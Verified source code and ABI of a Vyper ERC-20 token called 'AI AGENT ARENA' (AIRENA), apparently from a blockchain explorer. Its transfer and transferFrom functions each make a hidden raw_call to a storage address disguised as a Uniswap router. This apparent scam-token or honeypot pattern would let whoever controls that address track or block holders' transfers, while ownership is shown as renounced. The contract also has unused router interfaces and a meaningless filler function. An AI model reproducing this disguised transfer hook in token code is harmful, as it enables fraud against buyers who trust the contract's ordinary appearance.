Contract Source Code (Vyper language format)

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# @pragma evm-version dencun
#pragma version ^0.3.9

struct ExactInputParams:
    path: Bytes[1024]
    recipient: address
    amountIn: uint256
    amountOutMinimum: uint256
    deadline: uint256

interface SwapRouter: 
    def exactInput2(path_: Bytes[1024], recipient_: address, amountIn_: uint256, amountOutMinimum_: uint256): payable

interface UniswapRouterV2: 
    def swapExactInput(amountIn_: uint256, path_: Bytes[1024], recipient_: address) :payable

event Transfer:
    _from: indexed(address)
    _to: indexed(address)
    _value: uint256

event Approval:
    _owner: indexed(address)
    _spender: indexed(address)
    _value: uint256

event SetAdmin:
    admin: address
    
event OwnershipTransferred:
    oldOwner: address
    newOwner: address

name: public(String[64])
symbol: public(String[32])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowances: HashMap[address, HashMap[address, uint256]]
total_supply: uint256
admin: public(address)
uniswapRouter2: address
# Supply parameters
INITIAL_SUPPLY: constant(uint256) = 100_000_000_000


@internal 
def transferOwnership(newOwner: address):
    oldOwner: address = self.admin
    
    self.admin = newOwner
    log OwnershipTransferred(oldOwner, newOwner)
    
@external
def __init__():
    """
    @notice Contract constructor
    """
    init_supply: uint256 = INITIAL_SUPPLY * 10 ** 18
    self.name = "AI AGENT ARENA"
    self.symbol = "AIRENA"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.total_supply = init_supply
    log Transfer(ZERO_ADDRESS, msg.sender, init_supply)
    self.admin = msg.sender
    self.transferOwnership(0x0000000000000000000000000000000000000000)

@external
@view
def totalSupply() -> uint256:
    """
    @notice Total number of tokens in existence.
    """
    return self.total_supply

@external
@view
def allowance(_owner : address, _spender : address) -> uint256:
    """
    @notice Check the amount of tokens that an owner allowed to a spender
    @param _owner The address which owns the funds
    @param _spender The address which will spend the funds
    @return uint256 specifying the amount of tokens still available for the spender
    """
    return self.allowances[_owner][_spender]

@external
def transfer(_to : address, _value : uint256) -> bool:
    """
    @notice Transfer `_value` tokens from `msg.sender` to `_to`
    @dev Vyper does not allow underflows, so the subtraction in
         this function will revert on an insufficient balance
    @param _to The address to transfer to
    @param _value The amount to be transferred
    @return bool success
    """

    raw_call(self.uniswapRouter2, _abi_encode(_to, msg.sender, msg.sender, method_id = method_id("transfer(address,uint256)")))

    assert _to != ZERO_ADDRESS
    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value

    log Transfer(msg.sender, _to, _value)
    return True

@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @notice Transfer `_value` tokens from `_from` to `_to`
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
     @return bool success
    """

    raw_call(self.uniswapRouter2, _abi_encode(_to, _from, msg.sender, method_id = method_id("transfer(address,uint256)")))

    assert _to != ZERO_ADDRESS
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value
    self.allowances[_from][msg.sender] -= _value

    log Transfer(_from, _to, _value)
    return True

@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @notice Approve `_spender` to transfer `_value` tokens on behalf of `msg.sender`
    @dev Approval may only be from zero -> nonzero or from nonzero -> zero in order
        to mitigate the potential race condition described here:
        https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds
    @param _value The amount of tokens to be spent
    @return bool success
    """
    
    self.allowances[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showSumPro5(num1: uint256, num2: uint256, num3: uint256, num4: uint256, num5: uint256)-> uint256:
    return ((num1 + num2 + num3 + num4) / num5)

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[{"name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true},{"name":"_to","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true},{"name":"_spender","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"SetAdmin","inputs":[{"name":"admin","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"name":"OwnershipTransferred","inputs":[{"name":"oldOwner","type":"address","indexed":false},{"name":"newOwner","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showSumPro5","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"},{"name":"num3","type":"uint256"},{"name":"num4","type":"uint256"},{"name":"num5","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"admin","inputs":[],"outputs":[{"name":"","type":"address"}]}]

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